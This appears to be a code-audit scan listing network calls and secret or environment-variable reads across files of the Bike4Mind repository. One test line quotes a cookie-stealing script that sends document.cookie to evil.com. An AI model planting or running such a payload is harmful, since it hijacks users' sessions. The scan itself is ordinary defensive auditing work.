net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/sky-greeting/index.ts :122 response = await fetch(`https://en.wikipedia.org/api/rest_v1/feed/onthisday/selected/${month}/${day}`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/slack/commands.ts :707 await fetch(response_url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/slack/export/channel-info.ts :48 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/slack/export/channel.ts :179 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/slack/interactive.ts :141 const response = await fetch(responseUrl, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/slack/oauth/org-connect/callback.ts :112 const tokenResponse = await fetch('https://slack.com/api/oauth.v2.access', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/slack/oauth/user-link/callback.ts :97 const tokenResponse = await fetch('https://slack.com/api/oauth.v2.access', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/tools/weather.ts :33 response = await fetch(
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/users/[id]/ingested-emails.ts :11 * - limit: number of emails to fetch (default: 50, max: 100)
net Bike4Mind-bike4mind-c7b5854/apps/client/public/static/lib/d3@7.x.js :2 return t.text()}function mc(t,n){return fetch(t,n).then(bc)}function xc(t){return funct
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/public/test-csp.js :29 fetch('/api/health')
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/test-waf-auto-association.mjs :263 const response = await fetch(testUrl, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/analytics/emitActiveEvent.ts :70 const res = await fetch(url, {
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/chatCompletion/external/embedRoute.integration.test.ts :2 import type { AddressInfo } from 'net';
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/chatCompletion/external/embedRoute.test.ts :2 import type { AddressInfo } from 'net';
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/chatCompletion/server.test.ts :2 import type { AddressInfo } from 'net';
net Bike4Mind-bike4mind-c7b5854/apps/client/server/cron/spendReconciliation.ts :88 const result = await providerConfig.fetch(key, month);
net Bike4Mind-bike4mind-c7b5854/apps/client/server/cron/userActivityReport.ts :7 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/server/dataLakes/index.ts :172 // Single-article fetch (deep link) - authorize it against the accessible lakes.
net Bike4Mind-bike4mind-c7b5854/apps/client/server/embed/embedWidgetPage.ts :159 return fetch(cfg.sessionPath, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/events/alarmToSlack.ts :41 const resp = await fetch(Resource.SLACK_ERROR_REPORTING_WEBHOOK_URL.value, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/events/dlqAlarmToSlack.ts :38 const resp = await fetch(Resource.SLACK_ERROR_REPORTING_WEBHOOK_URL.value, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/events/wafAlarmToSlack.ts :38 const resp = await fetch(Resource.SLACK_ERROR_REPORTING_WEBHOOK_URL.value, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/integrations/github/githubWorkflowTrigger.ts :7 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/server/integrations/jira/atlassianTokenManager.ts :44 response = await fetch('https://auth.atlassian.com/oauth/token', {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/integrations/notion/notionTokenManager.ts :33 const response = await fetch(`${NOTION_API_BASE_URL}/users/me`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/integrations/slack/slack.ts :1 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/server/integrations/slack/sreSlackApproval.ts :685 const response = await fetch(responseUrl, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/jobs/dataSyncerHandler.ts :94 response = await fetch(`${PRODUCTION_B4M_URL}/api/admin/rapid-reply/mappings`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/managers/countersManager.ts :3 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/server/queueHandlers/slackExport.ts :74 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/queueHandlers/webhookDelivery.ts :256 const response = await fetch(payload.targetUrl, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/queueHandlers/whatsNewGeneration.ts :137 const response = await fetch('https://slack.com/api/chat.postMessage', {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/queueHandlers/whatsNewHighlights.ts :147 const response = await fetch('https://slack.com/api/chat.postMessage', {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/security/attackSimulation/probes/probeUtils.ts :84 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/security/attackSimulation/runner.ts :196 const response = await fetch(ingestUrl, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/services/integrationHealthService.ts :78 response = await fetch('https://slack.com/api/auth.test', {
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/services/mcpCircuitBreakers.test.ts :23 import { AxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/server/services/mcpCircuitBreakers.ts :7 import { isAxiosError } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/services/publish/renderBundleLoaderShell.test.ts :19 expect(shell).toContain("fetch('/api/auth/refreshToken'");
net Bike4Mind-bike4mind-c7b5854/apps/client/server/services/publish/renderBundleLoaderShell.ts :63 fetch('/api/auth/refreshToken', {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/services/publish/renderPassphraseShell.ts :50 fetch('/api/publish/gate/passphrase', {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/services/publish/renderSandboxedBundle.ts :13 * cookies, and any `fetch('/api/*')` goes out with no credentials. Author JS is
net Bike4Mind-bike4mind-c7b5854/apps/client/server/services/whatsNewForkFetcher.ts :1 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/server/tavern/rlm/tools.ts :91 const r = await fetch(`${baseUrl}/api/data-lakes/semantic-search`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/cacheExternalImage.ts :79 return await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/dispatchQuest.ts :47 const res = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/flattenHeaders.ts :1 import type { IncomingHttpHeaders } from 'http';
net Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/getFirstIterationMementosPreamble.ts :22 * re-fetch (parity with the publish side). Both fields must be checked: a BACKGROUND subagent is
net Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/mcpCall.ts :84 const resp = await fetch(ingestUrl, {
net Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/pendingActionExecutor.ts :135 const response = await fetch(slackFileUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/ssrfProtection.ts :181 * TOCTOU assumption: DNS is resolved here, then Node resolves independently in fetch().
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/test-csp.js :27 fetch('/api/health')
net Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/confluence/api.ts :312 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/jira/agile/api.ts :75 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/jira/api.ts :478 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/jira/webhook/api.ts :71 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/linkedin/api.ts :137 * @security Static methods (getCompany, refreshAccessToken) use bare fetch() - they are NOT
net Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/openapi/document.ts :123 `const res = await fetch("${url}", {\n` +
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/retry.test.ts :3 import { AxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/retry.ts :1 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/fab-pipeline/src/embeddings/providers/OllamaEmbeddingService.ts :107 response = await fetch(`${this.baseUrl}/api/embed`, {
net Bike4Mind-bike4mind-c7b5854/b4m-core/fab-pipeline/src/ingest.ts :2 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/fab-pipeline/src/storage/S3Storage.ts :19 import { Agent } from 'https';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/hearth/src/hookEvents.test.ts :2 import { createServer, type IncomingMessage, type ServerResponse } from 'node:http';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/hearth/src/identity.test.ts :2 import { createServer, type IncomingMessage, type ServerResponse } from 'node:http';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/hearth/src/presence.test.ts :2 import { createServer, type IncomingMessage, type ServerResponse } from 'node:http';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/infra/src/__tests__/fabFileModerationGate.test.ts :200 'githubService.getFileContent — GitHub repo content fetch (CHANGELOG.md), unrelated to FabFile storage',
net Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/anthropicBackend.ts :117 return await fetch(input, init);
net Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/anthropicBatchService.ts :99 return await fetch(input, init);
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/getAvailableModels.localImage.test.ts :2 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/localImageBackend.test.ts :2 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/localImageBackend.ts :3 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/ollamaBackend.test.ts :571 // Stub global fetch (the backend's client calls through to it) and return the
net Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/ollamaBackend.ts :20 import { Agent } from 'undici';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/client.test.ts :2 import { createServer, type Server } from 'http';
net Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/github/tools/projects.ts :40 first: z.number().optional().describe('Number of projects to fetch (default: 20, max: 100)').prefault(20),
net Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/github/tools/workflows.ts :440 const zipResponse = await fetch(zipUrl);
net Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/notion/client.ts :36 const response = await fetch(`${NOTION_API_BASE_URL}${path}`, {
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/cliCompletions.orgBilling.test.ts :128 // re-fetch (creditDifference === 0 branch) comes back null.
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/countersService/sendSlackReport.ts :2 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/dataLakeService/semanticDataLakeSearch.ts :477 // max-files setting to cut latency would still fetch (and sort) a full page before discarding
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/emailIngestionService/integration.test.ts :406 fetch('http://evil.com/steal?data=' + document.cookie);
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/fabFileService/applyEdit.ts :73 const response = await fetch(fabFile.fileUrl);
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/fabFileService/edit.ts :141 const response = await fetch(fabFile.fileUrl);
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/fabFileService/get.ts :98 const response = await fetch(url, { method: 'GET' });
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/importHistoryService/index.ts :6 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/ImageEdit.ts :46 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/ImageGeneration.ts :66 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/VideoGeneration.ts :38 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/blogEdit/index.ts :35 const response = await fetch(`${baseUrl}/api/posts/${params.postId}`, {
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/blogPublish/index.ts :44 const response = await fetch(`${baseUrl}/api/posts`, {
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/deepResearch/searchers.ts :47 * const response = await fetch(`https://api.example.com/search?q=${query}`);
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/editFile/index.ts :125 const response = await fetch(fabFile.fileUrl);
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/fmp/fmpService.ts :140 const res = await fetch(url.toString(), { signal: controller.signal });
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/imageEdit/index.ts :22 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/imageGeneration/index.ts :24 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/__fixtures__/testSupport.ts :84 expect((await makeSource().fetch(makeContext())).ok).toBe(false);
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/anthropic.test.ts :235 const result = await createAnthropicSource().fetch(makeContext({ runStartedAt: RUN_AT }));
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/bedrock.test.ts :118 const result = await createBedrockSource({ client: fakeClient() }).fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/bfl.test.ts :75 const result = await createBflSource().fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/elevenlabs.test.ts :63 const result = await createElevenLabsSource().fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/gemini.test.ts :73 const result = await createGeminiSource().fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/kimi.test.ts :142 const result = await createKimiSource().fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/litellm.test.ts :278 const result = await createLiteLlmSource({ targets }).fetch(makeContext({ runStartedAt: RUN_AT }));
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/modelsDev.test.ts :210 const result = await createModelsDevSource({ targets }).fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/ollama.test.ts :116 const result = await createOllamaSource().fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/openai.test.ts :96 const result = await createOpenAiSource().fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/xai.test.ts :136 const result = await createXaiSource().fetch(makeContext());
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/researchTaskService/downloadRelevantLinks.test.ts :5 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/researchTaskService/processDiscoveredLinks.test.ts :5 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/utils/src/adminSettings/fallback.test.ts :3 import { AxiosError } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/utils/src/imageGeneration/BFLImageService.test.ts :2 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/utils/src/imageGeneration/LocalImageService.test.ts :2 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/utils/src/imageGeneration/redactErrorForLog.test.ts :2 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/utils/src/voiceGeneration/aiVoiceService.test.ts :2 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/auth/ApiClient.test.ts :2 import { AxiosError, type AxiosAdapter, type AxiosResponse, type InternalAxiosRequestConfig } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/features/hearth/__tests__/hearthHook.test.ts :2 import { createServer, type IncomingMessage, type ServerResponse } from 'node:http';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/mcp/b4mApiClient.test.ts :2 import { AxiosError, type AxiosResponse, type InternalAxiosRequestConfig } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/mcp/resources.test.ts :2 import { AxiosError, type AxiosResponse, type InternalAxiosRequestConfig } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/mcp/tools.test.ts :2 import { AxiosError, type AxiosResponse, type InternalAxiosRequestConfig } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/proxy/HttpConnectProxy.test.ts :2 import http from 'http';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/proxy/HttpConnectProxy.ts :10 import http from 'http';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/tools/getFileStructure/__tests__/treeSitterEngine.test.ts :13 return fetch(url);
net (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/updateChecker.test.ts :30 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/generateUserActivity.ts :9 import axios from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/generateWeeklyUserActivity.ts :176 const response = await fetch(slackWebhookUrl, {
net (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/utils/githubApi.ts :64 const response = await fetch(url, {
net (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/utils/slackFormatter.ts :198 const response = await fetch(webhookUrl, {
net (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/testAgentExecuteWs.ts :89 const res = await fetch(`${baseUrl}${path}`, {
net (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/testKnowledgeToolRefusal.ts :112 const res = await fetch(`${baseUrl}${urlPath}`, {
net (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/verifyAgentArtifacts.ts :62 const res = await fetch(`${BASE_URL}${path}`, {
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/local-llm-eval/eval.mjs :35 res = await fetch(`${OLLAMA}/api/tags`);
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/local-llm-eval/eval2.mjs :30 res = await fetch(`${OLLAMA}/api/tags`);
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/packages-audit-summarize-and-ingest.mjs :147 const res = await fetch(ingestUrl, {
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/prowler-summarize-and-ingest.mjs :106 const res = await fetch(ingestUrl, {
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/secrets-scan-summarize-and-ingest.mjs :228 const res = await fetch(ingestUrl, {
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/semgrep-summarize-and-ingest.mjs :103 const res = await fetch(ingestUrl, {
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/test-oauth-flow.mjs :25 const initiateRes = await fetch(`${API_BASE}/api/oauth/device/initiate`, {
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/verify-agentless-dispatch.mjs :79 const res = await fetch(url, {
net (weak) Bike4Mind-bike4mind-c7b5854/scripts/zap-summarize-and-ingest.mjs :115 const res = await fetch(ingestUrl, {

secrets 63

secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/security-dashboard-attack-simulation-ingest.test.ts :119 process.env.SECOPS_ATTACK_SIMULATION_INGEST_TOKEN = 'test-ingest-token';
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/security-dashboard-cloud-prowler-ingest.test.ts :108 process.env.SECOPS_PROWLER_INGEST_TOKEN = 'test-ingest-token';
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/security-dashboard-code-semgrep-ingest.test.ts :84 process.env.SECOPS_CODE_INGEST_TOKEN = 'test-ingest-token';
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/security-dashboard-packages-ingest.test.ts :86 process.env.SECOPS_PACKAGES_INGEST_TOKEN = 'test-ingest-token';
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/security-dashboard-secrets-ingest.test.ts :96 process.env.SECOPS_SECRETS_INGEST_TOKEN = 'test-ingest-token';
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/global-setup.ts :18 const secret = process.env.E2E_CLEANUP_SECRET || Resource.E2E_CLEANUP_SECRET?.value;
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/global-teardown.ts :49 const secret = process.env.E2E_CLEANUP_SECRET || Resource.E2E_CLEANUP_SECRET?.value;
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/helpers/api.ts :105 const secret = process.env.E2E_CLEANUP_SECRET || Resource.E2E_CLEANUP_SECRET?.value;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/rate-limits/ingest.ts :12 const ingestToken = Resource.RATE_LIMIT_INGEST_TOKEN?.value || process.env.RATE_LIMIT_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/attack-simulation-ingest.ts :92 Resource.SECOPS_ATTACK_SIMULATION_INGEST_TOKEN?.value || process.env.SECOPS_ATTACK_SIMULATION_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/cloud-prowler-ingest.ts :48 const ingestToken = prowlerResource.SECOPS_PROWLER_INGEST_TOKEN?.value || process.env.SECOPS_PROWLER_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/cloud-prowler.ts :37 prowlerResource.SECOPS_PROWLER_WORKFLOW_TOKEN?.value || process.env.SECOPS_PROWLER_WORKFLOW_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/code-semgrep-ingest.ts :69 Resource.SECOPS_CODE_INGEST_TOKEN?.value || process.env.SECOPS_CODE_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/code.ts :54 Resource.SECOPS_ZAP_DISPATCH_TOKEN?.value || process.env.SECOPS_ZAP_DISPATCH_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/packages-ingest.ts :46 const ingestToken = Resource.SECOPS_PACKAGES_INGEST_TOKEN?.value || process.env.SECOPS_PACKAGES_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/packages.ts :59 securityResources.SECOPS_PACKAGES_DISPATCH_TOKEN?.value || process.env.SECOPS_PACKAGES_DISPATCH_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/secrets-ingest.ts :46 const ingestToken = Resource.SECOPS_SECRETS_INGEST_TOKEN?.value || process.env.SECOPS_SECRETS_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/secrets.ts :58 securityResources.SECOPS_SECRETS_DISPATCH_TOKEN?.value || process.env.SECOPS_SECRETS_DISPATCH_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/web-owasp-ingest.ts :88 Resource.SECOPS_ZAP_INGEST_TOKEN?.value || process.env.SECOPS_ZAP_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/web.ts :59 Resource.SECOPS_ZAP_DISPATCH_TOKEN?.value || process.env.SECOPS_ZAP_DISPATCH_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/data-lakes/rlm-answer.ts :137 const subLlmAnthropicKey = apiKeyTable?.anthropic || process.env.ANTHROPIC_API_KEY || '';
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/internal/s3/__tests__/object-created.test.ts :53 process.env.INTERNAL_S3_WEBHOOK_SECRET = 'secret-token';
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/internal/s3/object-created.ts :30 const expected = process.env.INTERNAL_S3_WEBHOOK_SECRET;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/internal/ws/[action].ts :38 const expected = process.env.INTERNAL_WS_SECRET;
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/test/cleanup.ts :42 const expectedSecret = Resource.E2E_CLEANUP_SECRET?.value || process.env.E2E_CLEANUP_SECRET;
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/test/create-user.ts :42 const expectedSecret = Resource.E2E_CLEANUP_SECRET?.value || process.env.E2E_CLEANUP_SECRET;
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/test/otc-code.ts :29 const expectedSecret = Resource.E2E_CLEANUP_SECRET?.value || process.env.E2E_CLEANUP_SECRET;
secrets (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/test-slack-search.ts :29 const token = process.env.SLACK_USER_TOKEN || (await question('Enter Slack User Token (xoxp-...): '));
secrets Bike4Mind-bike4mind-c7b5854/apps/client/server/integrations/github/githubWorkflowTrigger.ts :48 token = Resource.SECOPS_ZAP_DISPATCH_TOKEN?.value || process.env.SECOPS_ZAP_DISPATCH_TOKEN,
secrets Bike4Mind-bike4mind-c7b5854/apps/client/server/memory/factCipher.ts :137 export function resolveMasterKey(secret = process.env.MEMORY_KEY_SECRET): Buffer | undefined {
secrets Bike4Mind-bike4mind-c7b5854/apps/client/server/modelDiscovery/adapters.ts :141 OPENAI_API_KEY: process.env.OPENAI_API_KEY ?? linkedSecret('OPENAI_API_KEY'),
secrets Bike4Mind-bike4mind-c7b5854/apps/client/server/security/attackSimulation/runner.ts :166 Resource.SECOPS_ATTACK_SIMULATION_INGEST_TOKEN?.value || process.env.SECOPS_ATTACK_SIMULATION_INGEST_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/mcpCall.ts :82 const ingestToken = Resource.RATE_LIMIT_INGEST_TOKEN?.value || process.env.RATE_LIMIT_INGEST_TOKEN;
secrets (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/schemas/embedding.test.ts :47 OPENAI_API_KEY: process.env.OPENAI_API_KEY,
secrets Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/schemas/embedding.ts :56 !isPlaceholderApiKey(process.env.OPENAI_API_KEY) || !isPlaceholderApiKey(process.env.VOYAGE_API_KEY);
secrets (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/fab-pipeline/src/embeddings/EmbeddingFactory.test.ts :204 OPENAI_API_KEY: process.env.OPENAI_API_KEY,
secrets Bike4Mind-bike4mind-c7b5854/b4m-core/fab-pipeline/src/embeddings/EmbeddingFactory.ts :57 * openaiApiKey: process.env.OPENAI_API_KEY,
secrets Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/syncModelDescriptions.ts :1129 const apiKey = process.env.API_KEY;
secrets Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/atlassian/config.ts :15 accessToken: process.env.ATLASSIAN_ACCESS_TOKEN ?? '',
secrets Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/github/config.ts :8 export const githubToken = process.env.GITHUB_ACCESS_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/linkedin/index.ts :13 if (!process.env.LINKEDIN_ACCESS_TOKEN) {
secrets (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/notion/__tests__/config.test.ts :16 delete process.env.NOTION_ACCESS_TOKEN;
secrets Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/notion/config.ts :29 accessToken: process.env.NOTION_ACCESS_TOKEN ?? '',
secrets Bike4Mind-bike4mind-c7b5854/packages/cli/bin/hearth-hook.mjs :42 const { B4M_API_URL, B4M_API_KEY, B4M_HEARTH_CHANNEL, B4M_HEARTH_DISCLOSURE } = process.env;
secrets Bike4Mind-bike4mind-c7b5854/packages/cli/src/mcp/serve.ts :187 const apiKey = options.apiKey ?? process.env.B4M_API_KEY;
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/jupyterClient.test.ts :113 process.env.JUPYTER_TOKEN = 'test-token';
secrets Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/jupyterClient.ts :433 const token = process.env.JUPYTER_TOKEN;
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/count-tokens-probe.ts :52 const apiKey = process.env.ANTHROPIC_API_KEY;
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/generateUserActivity.ts :124 const apiKey = process.env.API_KEY;
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/generateWeeklyUserActivity.ts :213 const apiKey = process.env.API_KEY;
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/help/vectorize-help-content.ts :135 const apiKey = process.env.OPENAI_API_KEY;
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/createProductionRelease.ts :108 process.env.GITHUB_TOKEN = argv['github-token'];
secrets (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/utils/githubApi.ts :50 const token = process.env.GITHUB_TOKEN;
